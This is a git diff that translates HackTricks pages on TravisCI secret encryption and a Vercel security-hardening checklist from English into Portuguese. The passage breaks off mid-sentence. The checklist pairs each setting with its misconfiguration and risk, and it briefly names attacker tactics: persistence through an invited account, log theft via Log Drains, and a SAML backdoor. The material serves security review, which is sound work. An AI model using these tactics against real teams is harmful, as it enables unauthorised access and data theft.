![](<../../images/image (203).png>) -It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will). +É possível indicar os **ramos aos quais os segredos estarão disponíveis** (por padrão, todos) e também se o TravisCI **deve ocultar seu valor** se ele aparecer **nos logs** (por padrão, ele fará isso). -### Custom Encrypted Secrets +### Segredos Criptografados Personalizados -For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository. - -You can access the public key of one repo with: +Para **cada repositório**, o TravisCI gera um **par de chaves RSA**, **mantém** a **chave privada** e torna a **chave pública do repositório disponível** para aqueles que têm **acesso** ao repositório. +Você pode acessar a chave pública de um repositório com: ``` travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` - -Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**. +Então, você pode usar esta configuração para **criptografar segredos e adicioná-los ao seu `.travis.yaml`**. Os segredos serão **descriptografados quando a construção for executada** e acessíveis nas **variáveis de ambiente**. ![](<../../images/image (139).png>) -Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings. +Observe que os segredos criptografados dessa forma não aparecerão listados nas variáveis de ambiente das configurações. -### Custom Encrypted Files - -Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**: +### Arquivos Criptografados Personalizados +Da mesma forma que antes, o TravisCI também permite **criptografar arquivos e depois descriptografá-los durante a construção**: ``` travis encrypt-file super_secret.txt -r carlospolop/t-ci-test @@ -52,7 +49,7 @@ storing secure env variables for decryption Please add the following to your build script (before_install stage in your .travis.yml, for instance): - openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d +openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d Pro Tip: You can add it automatically by running with --add. @@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository. Make sure not to add super_secret.txt to the git repository. Commit all changes to your .travis.yml. ``` - -Note that when encrypting a file 2 Env Variables will be configured inside the repo such as: +Note que ao criptografar um arquivo, 2 Variáveis de Ambiente serão configuradas dentro do repositório, como: ![](<../../images/image (170).png>) ## TravisCI Enterprise -Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to. +Travis CI Enterprise é uma **versão on-prem do Travis CI**, que você pode implantar **em sua infraestrutura**. Pense na versão ‘servidor’ do Travis CI. Usar o Travis CI permite que você ative um sistema de Integração Contínua/Implantação Contínua (CI/CD) fácil de usar em um ambiente, que você pode configurar e proteger como desejar. -**Travis CI Enterprise consists of two major parts:** +**Travis CI Enterprise consiste em duas partes principais:** -1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc. -2. TCI **Worker** and build environment images (also called OS images). +1. Serviços TCI **(ou Serviços Centrais TCI)**, responsáveis pela integração com sistemas de controle de versão, autorização de builds, agendamento de jobs de build, etc. +2. TCI **Worker** e imagens de ambiente de build (também chamadas de imagens de SO). -**TCI Core services require the following:** +**Os serviços Centrais TCI requerem o seguinte:** -1. A **PostgreSQL11** (or later) database. -2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required -3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details. +1. Um banco de dados **PostgreSQL11** (ou posterior). +2. Uma infraestrutura para implantar um cluster Kubernetes; pode ser implantado em um cluster de servidores ou em uma única máquina, se necessário. +3. Dependendo da sua configuração, você pode querer implantar e configurar alguns dos componentes por conta própria, por exemplo, RabbitMQ - veja o [Configurando o Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) para mais detalhes. -**TCI Worker requires the following:** +**O Worker TCI requer o seguinte:** -1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**. -2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details. +1. Uma infraestrutura onde uma imagem docker contendo o **Worker e uma imagem de build vinculada podem ser implantadas**. +2. Conectividade com certos componentes dos Serviços Centrais do Travis CI - veja o [Configurando o Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) para mais detalhes. -The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure. +A quantidade de Workers TCI implantados e imagens de ambiente de build OS determinará a capacidade total concorrente da implantação do Travis CI Enterprise em sua infraestrutura. ![](<../../images/image (199).png>) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md index 16dc93da7..216f12096 100644 --- a/src/pentesting-ci-cd/vercel-security.md +++ b/src/pentesting-ci-cd/vercel-security.md @@ -2,440 +2,436 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**. +No Vercel, um **Time** é o **ambiente** completo que pertence a um cliente e um **projeto** é uma **aplicação**. -For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also). +Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuário com **permissão de função Visualizador** ou pelo menos **permissão de Visualizador de Projeto sobre os projetos** para verificar (caso você só precise verificar os projetos e não a configuração do Time também). -## Project Settings +## Configurações do Projeto -### General +### Geral -**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations. +**Propósito:** Gerenciar configurações fundamentais do projeto, como nome do projeto, framework e configurações de build. -#### Security Configurations: +#### Configurações de Segurança: -- **Transfer** - - **Misconfiguration:** Allows to transfer the project to another team - - **Risk:** An attacker could steal the project -- **Delete Project** - - **Misconfiguration:** Allows to delete the project - - **Risk:** Delete the prject +- **Transferência** +- **Má configuração:** Permite transferir o projeto para outro time +- **Risco:** Um atacante pode roubar o projeto +- **Excluir Projeto** +- **Má configuração:** Permite excluir o projeto +- **Risco:** Excluir o projeto --- -### Domains +### Domínios -**Purpose:** Manage custom domains, DNS settings, and SSL configurations. +**Propósito:** Gerenciar domínios personalizados, configurações de DNS e configurações de SSL. -#### Security Configurations: +#### Configurações de Segurança: -- **DNS Configuration Errors** - - **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers. - - **Risk:** Domain hijacking, traffic interception, and phishing attacks. -- **SSL/TLS Certificate Management** - - **Misconfiguration:** Using weak or expired SSL/TLS certificates. - - **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality. -- **DNSSEC Implementation** - - **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings. - - **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks. -- **Environment used per domain** - - **Misconfiguration:** Change the environment used by the domain in production. - - **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production. +- **Erros de Configuração de DNS** +- **Má configuração:** Registros DNS incorretos (A, CNAME) apontando para servidores maliciosos. +- **Risco:** Sequestro de domínio, interceptação de tráfego e ataques de phishing. +- **Gerenciamento de Certificados SSL/TLS** +- **Má configuração:** Uso de certificados SSL/TLS fracos ou expirados. +- **Risco:** Vulnerável a ataques de man-in-the-middle (MITM), comprometendo a integridade e confidencialidade dos dados. +- **Implementação de DNSSEC** +- **Má configuração:** Falha em habilitar DNSSEC ou configurações incorretas de DNSSEC. +- **Risco:** Aumento da suscetibilidade a ataques de spoofing de DNS e envenenamento de cache. +- **Ambiente usado por domínio** +- **Má configuração:** Alterar o ambiente usado pelo domínio em produção. +- **Risco:** Expor segredos ou funcionalidades potenciais que não deveriam estar disponíveis em produção. --- -### Environments +### Ambientes -**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables. +**Propósito:** Definir diferentes ambientes (Desenvolvimento, Pré-visualização, Produção) com configurações e variáveis específicas. -#### Security Configurations: +#### Configurações de Segurança: -- **Environment Isolation** - - **Misconfiguration:** Sharing environment variables across environments. - - **Risk:** Leakage of production secrets into development or preview environments, increasing exposure. -- **Access to Sensitive Environments** - - **Misconfiguration:** Allowing broad access to production environments. - - **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches. +- **Isolamento de Ambiente** +- **Má configuração:** Compartilhamento de variáveis de ambiente entre ambientes. +- **Risco:** Vazamento de segredos de produção em ambientes de desenvolvimento ou pré-visualização, aumentando a exposição. +- **Acesso a Ambientes Sensíveis** +- **Má configuração:** Permitir amplo acesso a ambientes de produção. +- **Risco:** Alterações não autorizadas ou acesso a aplicações em produção, levando a possíveis interrupções ou vazamentos de dados. --- -### Environment Variables +### Variáveis de Ambiente -**Purpose:** Manage environment-specific variables and secrets used by the application. +**Propósito:** Gerenciar variáveis e segredos específicos do ambiente usados pela aplicação. -#### Security Configurations: +#### Configurações de Segurança: -- **Exposing Sensitive Variables** - - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. - - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches. -- **Sensitive disabled** - - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. -- **Shared Environment Variables** - - **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **Expondo Variáveis Sensíveis** +- **Má configuração:** Prefixar variáveis sensíveis com `NEXT_PUBLIC_`, tornando-as acessíveis no lado do cliente. +- **Risco:** Exposição de chaves de API, credenciais de banco de dados ou outros dados sensíveis ao público, levando a vazamentos de dados. +- **Sensível desativado** +- **Má configuração:** Se desativado (padrão), é possível ler os valores dos segredos gerados. +- **Risco:** Aumento da probabilidade de exposição acidental ou acesso não autorizado a informações sensíveis. +- **Variáveis de Ambiente Compartilhadas** +- **Má configuração:** Estas são variáveis de ambiente definidas no nível do Time e também podem conter informações sensíveis. +- **Risco:** Aumento da probabilidade de exposição acidental ou acesso não autorizado a informações sensíveis. --- ### Git -**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers. +**Propósito:** Configurar integrações de repositórios Git, proteções de branch e gatilhos de implantação. -#### Security Configurations: +#### Configurações de Segurança: -- **Ignored Build Step (TODO)** - - **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE. - - **Risk:** TBD +- **Etapa de Build Ignorada (TODO)** +- **Má configuração:** Parece que esta opção permite configurar um script/ comandos bash que serão executados quando um novo commit for enviado ao Github, o que poderia permitir RCE. +- **Risco:** TBD --- -### Integrations +### Integrações -**Purpose:** Connect third-party services and tools to enhance project functionalities. +**Propósito:** Conectar serviços e ferramentas de terceiros para aprimorar as funcionalidades do projeto. -#### Security Configurations: +#### Configurações de Segurança: -- **Insecure Third-Party Integrations** - - **Misconfiguration:** Integrating with untrusted or insecure third-party services. - - **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations. -- **Over-Permissioned Integrations** - - **Misconfiguration:** Granting excessive permissions to integrated services. - - **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions. -- **Lack of Integration Monitoring** - - **Misconfiguration:** Failing to monitor and audit third-party integrations. - - **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches. +- **Integrações de Terceiros Inseguras** +- **Má configuração:** Integrar com serviços de terceiros não confiáveis ou inseguros. +- **Risco:** Introdução de vulnerabilidades, vazamentos de dados ou backdoors através de integrações comprometidas. +- **Integrações com Permissões Excessivas** +- **Má configuração:** Conceder permissões excessivas a serviços integrados. +- **Risco:** Acesso não autorizado a recursos do projeto, manipulação de dados ou interrupções de serviço. +- **Falta de Monitoramento de Integrações** +- **Má configuração:** Falha em monitorar e auditar integrações de terceiros. +- **Risco:** Detecção atrasada de integrações comprometidas, aumentando o impacto potencial de violações de segurança. --- -### Deployment Protection +### Proteção de Implantação -**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments. +**Propósito:** Proteger implantações através de vários mecanismos de proteção, controlando quem pode acessar e implantar em seus ambientes. -#### Security Configurations: +#### Configurações de Segurança: -**Vercel Authentication** +**Autenticação Vercel** -- **Misconfiguration:** Disabling authentication or not enforcing team member checks. -- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse. +- **Má configuração:** Desabilitar a autenticação ou não impor verificações de membros do time. +- **Risco:** Usuários não autorizados podem acessar implantações, levando a vazamentos de dados ou uso indevido da aplicação. -**Protection Bypass for Automation** +**Bypass de Proteção para Automação** -- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets. -- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments. +- **Má configuração:** Expor o segredo de bypass publicamente ou usar segredos fracos. +- **Risco:** Atacantes podem contornar as proteções de implantação, acessando e manipulando implantações protegidas. -**Shareable Links** +**Links Compartilháveis** -- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links. -- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions. +- **Má configuração:** Compartilhar links indiscriminadamente ou falhar em revogar links desatualizados. +- **Risco:** Acesso não autorizado a implantações protegidas, contornando autenticação e restrições de IP. -**OPTIONS Allowlist** +**Lista de Permissão de OPTIONS** -- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints. -- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks. +- **Má configuração:** Permitir caminhos ou endpoints sensíveis de forma excessivamente ampla. +- **Risco:** Atacantes podem explorar caminhos desprotegidos para realizar ações não autorizadas ou contornar verificações de segurança. -**Password Protection** +**Proteção por Senha** -- **Misconfiguration:** Using weak passwords or sharing them insecurely. -- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked. -- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. +- **Má configuração:** Usar senhas fracas ou compartilhá-las de forma insegura. +- **Risco:** Acesso não autorizado a implantações se as senhas forem adivinhadas ou vazadas. +- **Nota:** Disponível no plano **Pro** como parte da **Proteção Avançada de Implantação** por um adicional de $150/mês. -**Deployment Protection Exceptions** +**Exceções de Proteção de Implantação** -- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently. -- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access. -- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month. +- **Má configuração:** Adicionar domínios de produção ou sensíveis à lista de exceções inadvertidamente. +- **Risco:** Exposição de implantações críticas ao público, levando a vazamentos de dados ou acesso não autorizado. +- **Nota:** Disponível no plano **Pro** como parte da **Proteção Avançada de Implantação** por um adicional de $150/mês. -**Trusted IPs** +**IPs Confiáveis** -- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges. -- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access. -- **Note:** Available on the **Enterprise** plan. +- **Má configuração:** Especificar incorretamente endereços IP ou intervalos CIDR. +- **Risco:** Usuários legítimos sendo bloqueados ou IPs não autorizados ganhando acesso. +- **Nota:** Disponível no plano **Enterprise**. --- -### Functions +### Funções -**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies. +**Propósito:** Configurar funções serverless, incluindo configurações de runtime, alocação de memória e políticas de segurança. -#### Security Configurations: +#### Configurações de Segurança: -- **Nothing** +- **Nada** --- -### Data Cache +### Cache de Dados -**Purpose:** Manage caching strategies and settings to optimize performance and control data storage. +**Propósito:** Gerenciar estratégias e configurações de cache para otimizar o desempenho e controlar o armazenamento de dados. -#### Security Configurations: +#### Configurações de Segurança: -- **Purge Cache** - - **Misconfiguration:** It allows to delete all the cache. - - **Risk:** Unauthorized users deleting the cache leading to a potential DoS. +- **Limpar Cache** +- **Má configuração:** Permite excluir todo o cache. +- **Risco:** Usuários não autorizados excluindo o cache, levando a um potencial DoS. --- ### Cron Jobs -**Purpose:** Schedule automated tasks and scripts to run at specified intervals. +**Propósito:** Agendar tarefas e scripts automatizados para serem executados em intervalos especificados. -#### Security Configurations: +#### Configurações de Segurança: -- **Disable Cron Job** - - **Misconfiguration:** It allows to disable cron jobs declared inside the code - - **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for) +- **Desativar Cron Job** +- **Má configuração:** Permite desativar cron jobs declarados dentro do código +- **Risco:** Potencial interrupção do serviço (dependendo do que os cron jobs eram destinados) --- ### Log Drains -**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing. +**Propósito:** Configurar serviços de logging externos para capturar e armazenar logs da aplicação para monitoramento e auditoria. -#### Security Configurations: +#### Configurações de Segurança: -- Nothing (managed from teams settings) +- Nada (gerenciado a partir das configurações de times) --- -### Security +### Segurança -**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more. +**Propósito:** Hub central para várias configurações relacionadas à segurança que afetam o acesso ao projeto, proteção de código-fonte e mais. -#### Security Configurations: +#### Configurações de Segurança: -**Build Logs and Source Protection** +**Logs de Build e Proteção de Código-Fonte** -- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly. -- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities. +- **Má configuração:** Desabilitar proteção ou expor caminhos `/logs` e `/src` publicamente. +- **Risco:** Acesso não autorizado a logs de build e código-fonte, levando a vazamentos de informações e potencial exploração de vulnerabilidades. -**Git Fork Protection** +**Proteção de Fork do Git** -- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews. -- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors. +- **Má configuração:** Permitir pull requests não autorizados sem revisões adequadas. +- **Risco:** Código malicioso pode ser mesclado ao código-fonte, introduzindo vulnerabilidades ou backdoors. -**Secure Backend Access with OIDC Federation** +**Acesso Seguro ao Backend com Federação OIDC** -- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs. -- **Risk:** Unauthorized access to backend services through flawed authentication flows. +- **Má configuração:** Configuração incorreta dos parâmetros OIDC ou uso de URLs de emissor inseguras. +- **Risco:** Acesso não autorizado a serviços de backend através de fluxos de autenticação falhos. -**Deployment Retention Policy** +**Política de Retenção de Implantação** -- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention). -- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments. +- **Má configuração:** Definir períodos de retenção muito curtos (perdendo o histórico de implantações) ou muito longos (retenção desnecessária de dados). +- **Risco:** Incapacidade de realizar rollbacks quando necessário ou aumento do risco de exposição de dados de implantações antigas. -**Recently Deleted Deployments** +**Implantações Recentemente Excluídas** -- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions. -- **Risk:** Loss of critical deployment history, hindering audits and rollbacks. +- **Má configuração:** Não monitorar implantações excluídas ou confiar apenas em exclusões automatizadas. +- **Risco:** Perda de histórico crítico de implantações, dificultando auditorias e rollbacks. --- -### Advanced +### Avançado -**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security. +**Propósito:** Acesso a configurações adicionais do projeto para ajustar configurações e aprimorar a segurança. -#### Security Configurations: +#### Configurações de Segurança: -**Directory Listing** +**Listagem de Diretório** -- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file. -- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks. +- **Má configuração:** Habilitar a listagem de diretório permite que os usuários vejam o conteúdo do diretório sem um arquivo de índice. +- **Risco:** Exposição de arquivos sensíveis, estrutura da aplicação e potenciais pontos de entrada para ataques. --- -## Project Firewall +## Firewall do Projeto ### Firewall -#### Security Configurations: +#### Configurações de Segurança: -**Enable Attack Challenge Mode** +**Habilitar Modo de Desafio de Ataque** -- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability -- **Risk:** Potential user experience problems. +- **Má configuração:** Habilitar isso melhora as defesas da aplicação web contra DoS, mas à custa da usabilidade +- **Risco:** Potenciais problemas de experiência do usuário. -### Custom Rules & IP Blocking +### Regras Personalizadas & Bloqueio de IP -- **Misconfiguration:** Allows to unblock/block traffic -- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic +- **Má configuração:** Permite desbloquear/bloquear tráfego +- **Risco:** Potencial DoS permitindo tráfego malicioso ou bloqueando tráfego benigno --- -## Project Deployment +## Implantação do Projeto -### Source +### Fonte -- **Misconfiguration:** Allows access to read the complete source code of the application -- **Risk:** Potential exposure of sensitive information +- **Má configuração:** Permite acesso para ler o código-fonte completo da aplicação +- **Risco:** Potencial exposição de informações sensíveis -### Skew Protection +### Proteção de Desvio -- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other. -- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future +- **Má configuração:** Esta proteção garante que a aplicação do cliente e do servidor estejam sempre usando a mesma versão, para que não haja desincronizações onde o cliente usa uma versão diferente do servidor e, portanto, não se entendem. +- **Risco:** Desabilitar isso (se habilitado) pode causar problemas de DoS em novas implantações no futuro --- -## Team Settings +## Configurações do Time -### General +### Geral -#### Security Configurations: +#### Configurações de Segurança: -- **Transfer** - - **Misconfiguration:** Allows to transfer all the projects to another team - - **Risk:** An attacker could steal the projects -- **Delete Project** - - **Misconfiguration:** Allows to delete the team with all the projects - - **Risk:** Delete the projects +- **Transferência** +- **Má configuração:** Permite transferir todos os projetos para outro time +- **Risco:** Um atacante pode roubar os projetos +- **Excluir Projeto** +- **Má configuração:** Permite excluir o time com todos os projetos +- **Risco:** Excluir os projetos --- -### Billing +### Faturamento -#### Security Configurations: +#### Configurações de Segurança: -- **Speed Insights Cost Limit** - - **Misconfiguration:** An attacker could increase this number - - **Risk:** Increased costs +- **Limite de Custo do Speed Insights** +- **Má configuração:** Um atacante pode aumentar esse número +- **Risco:** Custos aumentados --- -### Members +### Membros -#### Security Configurations: +#### Configurações de Segurança: -- **Add members** - - **Misconfiguration:** An attacker could maintain persitence inviting an account he control - - **Risk:** Attacker persistence -- **Roles** - - **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) - - **Risk**: Increate the exposure of the Vercel Team +- **Adicionar membros** +- **Má configuração:** Um atacante pode manter persistência convidando uma conta que ele controla +- **Risco:** Persistência do atacante +- **Funções** +- **Má configuração:** Conceder muitas permissões a pessoas que não precisam aumenta o risco da configuração do Vercel. Verifique todos os papéis possíveis em [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) +- **Risco**: Aumentar a exposição do Time Vercel --- -### Access Groups +### Grupos de Acesso -An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects. +Um **Grupo de Acesso** no Vercel é uma coleção de projetos e membros do time com atribuições de função predefinidas, permitindo gerenciamento de acesso centralizado e simplificado em vários projetos. -**Potential Misconfigurations:** +**Possíveis Má Configurações:** -- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions. -- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation. -- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended. -- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions. -- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps. +- **Permissões Excessivas para Membros:** Atribuir funções com mais permissões do que o necessário, levando a acesso ou ações não autorizadas. +- **Atribuições de Função Improprias:** Atribuir incorretamente funções que não se alinham com as responsabilidades dos membros do time, causando escalonamento de privilégios. +- **Falta de Segregação de Projetos:** Falha em separar projetos sensíveis, permitindo acesso mais amplo do que o pretendido. +- **Gerenciamento Insuficiente de Grupos:** Não revisar ou atualizar regularmente os Grupos de Acesso, resultando em permissões de acesso desatualizadas ou inadequadas. +- **Definições de Função Inconsistentes:** Usar definições de função inconsistentes ou pouco claras em diferentes Grupos de Acesso, levando a confusão e lacunas de segurança. --- ### Log Drains -#### Security Configurations: +#### Configurações de Segurança: -- **Log Drains to third parties:** - - **Misconfiguration:** An attacker could configure a Log Drain to steal the logs - - **Risk:** Partial persistence +- **Log Drains para terceiros:** +- **Má configuração:** Um atacante pode configurar um Log Drain para roubar os logs +- **Risco:** Persistência parcial --- -### Security & Privacy +### Segurança & Privacidade -#### Security Configurations: +#### Configurações de Segurança: -- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard. - - **Misconfiguration:** - - Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting. - - Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain. - - **Risks:** - - **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team. - - **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals. -- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access. - - **Misconfiguration:** Not adding critical Git scopes to the protected list. -- **Risks:** - - **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization. - - **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team. -- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system. - - **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled. - - **Risks:** - - **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members. - - **Data Breach:** Sensitive information like API keys and credentials could be leaked. -- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members. - - **Misconfiguration:**\ - Granting access to audit logs to unauthorized team members. - - **Risks:** - - **Privacy Violations:** Exposure of sensitive user activities and data. - - **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks. -- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management. - - **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints. - - **Risk:** Maintain persistence -- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains. - - **Misconfiguration:** Leaving IP address visibility enabled without necessity. - - **Risks:** - - **Privacy Violations:** Non-compliance with data protection regulations like GDPR. - - **Legal Repercussions:** Potential fines and penalties for mishandling personal data. -- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing. - - **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic. - - **Risks:** - - **Service Denial to Legitimate Users:** Blocking access for valid users or partners. - - **Operational Disruptions:** Loss of service availability for certain regions or clients. +- **Domínio de Email do Time:** Quando configurado, esta configuração convida automaticamente Contas Pessoais do Vercel com endereços de email terminando no domínio especificado (por exemplo, `mydomain.com`) a se juntarem ao seu time ao se inscreverem e no painel. +- **Má configuração:** +- Especificar o domínio de email errado ou um domínio com erro de ortografia na configuração do Domínio de Email do Time. +- Usar um domínio de email comum (por exemplo, `gmail.com`, `hotmail.com`) em vez de um domínio específico da empresa. +- **Riscos:** +- **Acesso Não Autorizado:** Usuários com endereços de email de domínios não pretendidos podem receber convites para se juntar ao seu time. +- **Exposição de Dados:** Exposição potencial de informações sensíveis do projeto a indivíduos não autorizados. +- **Escopos Git Protegidos:** Permite adicionar até 5 escopos Git ao seu time para impedir que outros times do Vercel implantem repositórios do escopo protegido. Vários times podem especificar o mesmo escopo, permitindo acesso a ambos os times. +- **Má configuração:** Não adicionar escopos Git críticos à lista protegida. +- **Riscos:** +- **Implantações Não Autorizadas:** Outros times podem implantar repositórios dos escopos Git da sua organização sem autorização. +- **Exposição de Propriedade Intelectual:** Código proprietário pode ser implantado e acessado fora do seu time. +- **Políticas de Variáveis de Ambiente:** Impõe políticas para a criação e edição das variáveis de ambiente do time. Especificamente, você pode impor que todas as variáveis de ambiente sejam criadas como **Variáveis de Ambiente Sensíveis**, que só podem ser descriptografadas pelo sistema de implantação do Vercel. +- **Má configuração:** Manter a imposição de variáveis de ambiente sensíveis desativada. +- **Riscos:** +- **Exposição de Segredos:** Variáveis de ambiente podem ser visualizadas ou editadas por membros não autorizados do time. +- **Vazamento de Dados:** Informações sensíveis como chaves de API e credenciais podem ser vazadas. +- **Log de Auditoria:** Fornece uma exportação da atividade do time por até os últimos 90 dias. Logs de auditoria ajudam a monitorar e rastrear ações realizadas pelos membros do time. +- **Má configuração:**\ +Conceder acesso aos logs de auditoria a membros não autorizados do time. +- **Riscos:** +- **Violação de Privacidade:** Exposição de atividades e dados sensíveis dos usuários. +- **Manipulação de Logs:** Atores maliciosos podem alterar ou excluir logs para encobrir suas trilhas. +- **SAML Single Sign-On:** Permite personalização da autenticação SAML e sincronização de diretórios para o seu time, permitindo integração com um Provedor de Identidade (IdP) para autenticação e gerenciamento de usuários centralizados. +- **Má configuração:** Um atacante pode backdoor na configuração do Time configurando parâmetros SAML como Entity ID, SSO URL ou impressões digitais de certificado. +- **Risco:** Manter persistência +- **Visibilidade de Endereço IP:** Controla se endereços IP, que 